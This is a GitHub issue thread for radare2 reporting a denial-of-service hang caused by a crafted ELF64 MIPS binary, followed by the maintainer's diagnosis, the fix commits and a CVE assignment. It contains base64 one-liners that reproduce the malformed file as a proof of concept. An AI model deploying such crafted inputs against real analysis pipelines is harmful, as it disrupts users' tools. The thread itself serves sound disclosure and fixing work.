New issue

Jump to bottom

DoS analysing ELF64 binary for MIPS architecture #19436

Closed **ogianatiempo** opened this issue on Nov 23, 2021 · 3 comments

Assignees

Milestone 5.5.2

ogianatiempo commented on Nov 23, 2021

Environment

```
$ date
mar 23 nov 2021 10:31:32 -03
$ r2 -v
radare2 5.5.0 1 @ linux-x86-64 git.
commit: b50c2c35acd266f1b18bbbcfe0c63d9d0331b09d build: 2021-11-14__22:46:21
$ uname -ms
Linux x86_64
```

Description

We found with **@OctavioGalland** an ELF64 binary for MIPS architecture that hangs when analysed.
We think this is caused by mapping a huge section that is interpreted as NOPs. If we modify the size of the section, the analysis doesn't hang. While this is not an infinite loop, it can be very long.
And this has been acknowledged as a DoS in the past (see #18923).

Test

```
$ base64 -d <<< f0VMRgIBAQAAAACqqqqqqqqqCgABAAAAABBAAAAAAABAAAAAAAAAACAQAAAAAAAAAAAAAAEAAOAABAEAAAwACAAEAAAABAAAABIAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAALAAAAD//////////wAAAAAAEAAA  >
hang

$ base64 -d <<< f0VMRgIBAQAAAACqqqqqqqqqCgABAAAAABBAAAAAAABAAAAAAAAAACAQAAAAAAAAAAAAAAEAAOAABAEAAAwACAAEAAAABAAAABIAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAALAAAAABAAAAAAAAAAAAAAAAEAAA  >
nohang
```

```
$ r2 ./hang
 -- Beer in mind.
[0x400000003f8ffc]> aaa
[ ] Analyze all flags starting with sym. and entry0 (aa)
```

```
$ readelf -l hang
readelf: Error: Reading 192 bytes extends past end of file for section headers
Elf file type is <unknown>: aaaa
Entry point 0x401000
There is 1 program header, starting at offset 64
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000008004 0x0040000000000000 0x0040000000000000
                 0x000000b000000000 0xffffffffffffffff    E    0x100000000000
```

```
$ readelf -l nohang
readelf: Error: Reading 192 bytes extends past end of file for section headers
Elf file type is <unknown>: aaaa
Entry point 0x401000
There is 1 program header, starting at offset 64
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000008004 0x0040000000000000 0x0040000000000000
                 0x000000b000000000 0x0000000000000001    E    0x100000000000
readelf: Error: the segment's file size is larger than its memory size
```

```
$ binwalk -W hang nohang
OFFSET      hang                                                                    nohang
--------------------------------------------------------------------------------
0x00000000  7F 45 4C 46 02 01 01 00 00 00 00 AA AA AA AA AA |.ELF...........| \ 7F 45 4C 46 02 01 01 00 00 00 00 AA AA AA AA AA |.ELF...........|
0x00000010  AA AA 0A 00 01 00 00 00 00 10 40 00 00 00 00 00 |..........@.....| / AA AA 0A 00 01 00 00 00 00 10 40 00 00 00 00 00 |..........@.....|
0x00000020  40 00 00 00 00 00 00 00 20 10 00 00 00 00 00 00 |@...............| \ 40 00 00 00 00 00 00 00 20 10 00 00 00 00 00 00 |@...............|
0x00000030  00 00 00 00 40 00 38 00 01 00 40 00 03 00 02 00 |....@.8...@.....| / 00 00 00 00 40 00 38 00 01 00 40 00 03 00 02 00 |....@.8...@.....|
0x00000040  01 00 00 00 01 00 00 00 04 80 00 00 00 00 00 00 |................| \ 01 00 00 00 01 00 00 00 04 80 00 00 00 00 00 00 |................|
0x00000050  00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 |......@.......@.| / 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 |......@.......@.|
0x00000060  00 00 00 00 B0 00 00 00 FF FF FF FF FF FF FF FF |................| \ 00 00 00 00 B0 00 00 00 01 00 00 00 00 00 00 00 |................|
0x00000070  00 00 00 00 00 10 00 00 XX XX XX XX XX XX XX XX |................| / 00 00 00 00 00 10 00 00 XX XX XX XX XX XX XX XX |................|
```

ogianatiempo commented on Nov 23, 2021 Author

Note: we confirmed that this issue is also present in the lastest commit on the main branch at the time of writing

trufae self-assigned this on Nov 24, 2021

trufae commented on Nov 24, 2021 Contributor

Seems like this binary is creating a large virtual map that is filled with nops (aka zeros) so the analysis goes on for a very looong time trying to reach the end of it. so one solution could be to consider a limit in basic block size or just avoid analyzing after N nops 🤔

trufae added this to the **5.5.2** milestone on Nov 24, 2021

ogianatiempo pushed a commit to ogianatiempo/radare2 that referenced this issue on Nov 29, 2021

`Fix DoS analysing ELF64 binary for MIPS architecture radareorg#19436` 3dbda48

ogianatiempo mentioned this issue on Nov 29, 2021

Fix #19436 - DoS analysing ELF64 binary for MIPS architecture ##analysis #19451

Merged

4 tasks

ogianatiempo commented on Nov 29, 2021 Author

Just to let you know, I got in touch with the security team at Red Hat about this issue, and they've assigned it CVE-2021-4021

trufae pushed a commit that referenced this issue on Nov 30, 2021

`Fix DoS analysing ELF64 binary for MIPS architecture #19436` ✗ 3fed0e3

trufae closed this as completed on Dec 2, 2021

aemmitt-ns pushed a commit to aemmitt-ns/radare2 that referenced this issue on Jan 26

`Fix DoS analysing ELF64 binary for MIPS architecture radareorg#19436` 8caa34d

Assignees

trufae

Labels

None yet

Projects

None yet

Milestone

5.5.2

Development

No branches or pull requests

2 participants